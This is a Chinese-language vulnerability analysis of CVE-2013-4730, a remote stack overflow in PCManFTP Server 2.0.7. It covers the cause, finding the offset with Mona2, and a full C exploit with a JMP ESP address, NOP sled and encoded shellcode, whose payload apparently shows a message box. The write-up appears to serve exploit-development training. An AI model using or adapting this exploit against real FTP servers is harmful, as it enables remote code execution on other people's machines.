PCManFTP v2.0漏洞分析報告
軟件名稱 | PCManFTP | 操作系統 | Windows XP |
---|---|---|---|
軟件版本 | 2.0 | 漏洞編號 | CVE-2013-4730 |
漏洞模塊 | PCManFTPD2.exe | 危害等級 | 超危 |
模塊版本 | 2.0.7 | 漏洞類型 | 緩衝區溢出 |
編譯日期 | 2013-06-27 | 威脅類型 | 遠程 |
分析人:
2019年7月31日
1.軟件簡介
PCManFTP Server是洪任諭程序員所研發的一套FTP服務器軟件。該軟件具有體積小、功能簡單等特點。
[外鏈圖片轉存失敗(img-35TA50ao-1564753022806)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1564557298582.png)]
2.漏洞成因
-
CVE-2013-4730是PCMan FTP Server的2.0.7版在Windows XP下的遠程溢出漏洞
-
通過查看文檔可知,此軟件由於未能有效處理FTP命令的字符長度,進而引發棧溢出漏洞,導致攻擊者可以遠程執行任何命令
-
用於FTP登錄的“USER”命令即可觸發此漏洞,也就是說我們在未提前獲得目標的FTP訪問權限的前提下,即可對其進行溢出攻擊,因此這個漏洞造成的影響非常嚴重
3.構造觸發漏洞的POC
我們需要有一份能與FTP進行交互的代碼才能受控的觸發此漏洞。理論上講,只要我們編寫的代碼符合RFC959標準,就可以與任何一個FTP服務器進行交互不過FTP客戶端的實現非常簡單,我們完全沒必要去閱讀RFC959文檔,我們只需作如下幾步:
- 建立Socket鏈接,連接目標FTP
- 接受FTP服務器的歡迎語
- 發送“USER XXXX”登錄請求
- 接受請求結果(不會走到這一步,此時FTP服務器已被攻擊完)
和服務器交互的代碼:
#include "stdafx.h"
#include <winsock2.h>
#include <tchar.h>
#pragma comment(lib,"Ws2_32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
// 1. 初始化Winsock服務
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 創建一個原始套接字
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上綁定一個端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("127.0.0.1");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
// 4. 接受歡迎語
char szRecv[0x100] = { 0 };
char *pCommand = "USER hello everyone";
recv(stListen, szRecv, sizeof(szRecv), 0);
// 5. 發送登陸請求
send(stListen, pCommand, strlen(pCommand), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 關閉相關句柄並釋放相關資源
closesocket(stListen);
WSACleanup();
return 0;
}
使用Mona2插件
-
Mona2是Corelan Team團隊開發的一個專門用於輔助漏洞挖掘的腳本插件
-
Mona原本只支持Immunity Debugger,但是由於Immunity Debugger與OllyDbg同根同源,而OllyDbg的更新已經明顯乏力,因此Mona2推出了可以在Windbg上使用的版本
-
Mona可以幫助我們快速的定位溢出點,並且可以幫助我們查找一些用於溢出的特殊指令,以及構成複雜攻擊代碼的小部件!
我們現在可以用Mona2生成一段3000字節長度的測試字符串,用於確定溢出點
觸發溢出後可見如下回顯,證明我們正要在一個不存在的位置執行代碼
通過以上信息我們知道EIP被覆蓋成了0x43386f43,我們可以使用如下的Mona2命令計算其溢出點
由以上結果可知,我們的溢出點在偏移2004的位置
溢出點已經確認,接下來我們需要用Mona2在目標程序空間中找到一個跳板指令“JMP ESP”
接下來可以構造我們的Exploit了
4.構造Exploit
構建一個長字符串發送登錄請求
格式:“USER “+填充字節區+JMP ESP跳板指令+滑板指令區+Shellcode(前面一部分是解密代碼,後面是加過密的Shellcode(不含0x00,0x0A,0x0D))+”\r\n”
#include "pch.h"
#include <winsock2.h>
#pragma comment(lib,"Ws2_32.lib")
#define KEY "\x07" // Encode Key = 0x07
#define SIZE "\x36\x01" // Payload Size = 0x0136
char bShellcode[] = \
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9" \
SIZE "\x8A\x04\x0E\x34" KEY "\x88\x04\x0E\xE2\xF6\x80\x34\x0E" KEY \
"\xFF\xE6" \
"\x67\x84\xEB\x27\xEC\x4B\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \
"\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \
"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \
"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \
"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x36\x32\x57\x45" \
"\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C" \
"\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x15\x07\x07" \
"\x07\x8C\xF7\x8A\x4C\xBA\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF\x69" \
"\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B" \
"\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E" \
"\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B" \
"\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C" \
"\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA8\xBE\x09\x07\x07\x07" \
"\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52" \
"\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F" \
"\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB\x6D\x07\x6D" \
"\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17\x8E\x42\xFB" \
"\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xE8" \
"\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x8C\xE2" \
"\x5A\xC5\x17\x07\x07";
int _tmain(int argc, _TCHAR* argv[])
{
// 1. 初始化Winsock服務
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 創建一個原始套接字
SOCKET stListen = INVALID_SOCKET;;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上綁定一個端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("192.168.23.131");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR *)& stService, sizeof(stService));
// 4. 構造Exploit
char cExpolit[5000] = { 0x00 }; // Exploit容器
char cFill[3001] = { 0x00 }; // 填充字節
char cNOP[51] = { 0x00 }; // 滑板指令區
char cRetnAddr[5] = "\x7b\x46\x86\x7c"; // JMP ESP:0x7c86467b
memset(cFill, '\x0C', 2004); // 由Mona得到的偏移
memset(cNOP, '\x90', 20); // 少填充1字節,如果變量cNOP後面不爲0x00,也會被當成字符鏈接進來
//sprintf_s(cExpolit, "USER %s\r\n", cFill);
sprintf_s(cExpolit, "USER %s%s%s%s\r\n", cFill, cRetnAddr, cNOP, bShellcode);
// 5. 向FTP發送Exploit
char szRecv[0x100] = { 0 };
char *pCommand = NULL;
// 5.1 接受歡迎語
recv(stListen, szRecv, sizeof(szRecv), 0);
// 5.2 發送登陸請求
send(stListen, cExpolit, strlen(cExpolit), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 關閉相關句柄並釋放相關資源
closesocket(stListen);
WSACleanup();
return 0;
}